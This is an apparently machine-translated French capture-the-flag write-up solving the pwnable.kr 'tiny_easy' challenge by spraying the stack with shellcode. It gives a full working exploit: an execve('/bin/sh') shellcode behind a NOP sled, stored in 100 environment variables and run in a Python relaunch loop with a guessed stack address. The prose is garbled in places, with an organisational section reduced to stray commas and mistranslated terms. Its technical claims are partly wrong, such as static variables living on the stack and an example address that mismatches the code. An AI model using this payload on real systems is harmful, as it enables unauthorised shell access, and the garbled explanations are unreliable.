Résolution de problèmes avec pwnable.kr 27 - tiny_easy. Comprendre la pulvérisation en pile

image

Dans cet article, nous résoudrons la 27e tâche à partir du site pwnable.kr et nous comprendrons ce qu'est la pulvérisation en pile.

Information organisationnelle
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Solution au travail tiny_easy


Cliquez sur l'icône de signature tyni_easy. On nous donne l'adresse et le port de connexion via ssh.

image

Nous sommes connectés via SSH et nous voyons déjà le drapeau et le programme sans le code source.

image

Suite à la vérification du fichier, nous découvrons qu'il n'a aucune protection.

image

Téléchargez le programme sur le démonteur. Le fichier est très petit et ne suit que quelques instructions.

image

Au tout début, le programme extrait la valeur de la pile dans le registre EAX, après quoi il en extrait une autre dans EDX et transfère le contrôle à cette adresse. Mais qu'est-ce qui se trouve sur la pile au tout début du programme? La pile à ce moment contient les mêmes argc (le nombre d'arguments du programme), argv (un pointeur vers un tableau d'arguments de programme) et envp (un pointeur vers un tableau de variables d'environnement).

image

Ainsi, dans EDX, l'adresse sera placée sur le premier élément du tableau d'arguments du programme, c'est-à-dire sur le chemin complet du fichier exécutable! Par conséquent, en essayant de l'exécuter en tant que code, l'application devrait se bloquer. Si vous vérifiez, cela se révèle.

image

La pulvérisation de pile est une attaque qui utilise des erreurs dans la mémoire de l'application, ce qui oblige l'application à allouer de la mémoire à un grand nombre d'objets contenant du code malveillant. Cela augmente la probabilité de réussite d'un exploit, ce qui transfère le flux d'exécution à une certaine position à l'intérieur. Il est important de comprendre que sans un exploit qui permet de modifier le flux d'exécution, cette attaque ne fera aucun mal. L'attaque est basée sur la prévisibilité de l'adresse dans l'espace d'adressage du processus.

Lors de la création d'un processus dans le système d'exploitation, un espace d'adressage est alloué pour ses besoins, dans lequel se trouvent les données utilisateur, le code exécutable et certaines informations système, qui dépendent du système d'exploitation spécifique. Ainsi, dans le segment de pile, les variables avec une classe de placement automatique sont stockées, ainsi que les informations qui sont stockées à chaque appel de la fonction, par exemple, les variables statiques et l'adresse de retour lorsque la fonction est appelée. Dans le cas de la pulvérisation en pile, nous opérons sur des variables d'environnement dans lesquelles se situe l'exploit.

De cette façon, nous pouvons organiser le shellcode dans les variables d'environnement sur la pile. Mais nous ferons beaucoup d'opérations nop devant lui, car il est peu probable que nous puissions arriver exactement à la bonne adresse.

import os
import subprocess

payload =  "\x90"*4096 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"


Puisque le programme démarre à partir de l'adresse 0xff ******, nous prenons l'adresse aléatoire de la pile de cet environnement, par exemple, 0xffbbbbbbb.
addr = "\xb0\xaf\xb5\xff"


Nous allons maintenant créer quelques variables d'environnement avec notre shellcode, afin que la probabilité d'y accéder soit plus élevée.

envs = {}
for i in range(0,100):  
    envs["env"+str(i)] = payload

Et plusieurs fois, nous exécutons le programme avec nos paramètres.

while True:
	p = subprocess.Popen([addr], executable="/home/tiny_easy/tiny_easy", env=envs)
	p.wait()

Après avoir exécuté le code complet, nous obtenons un shell.

image

En savoir plus ... Vous pouvez nous rejoindre sur Telegram . Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pourrons toujours nous entraider pour tout problème informatique et de sécurité de l'information.

Source: https://habr.com/ru/post/undefined/


All Articles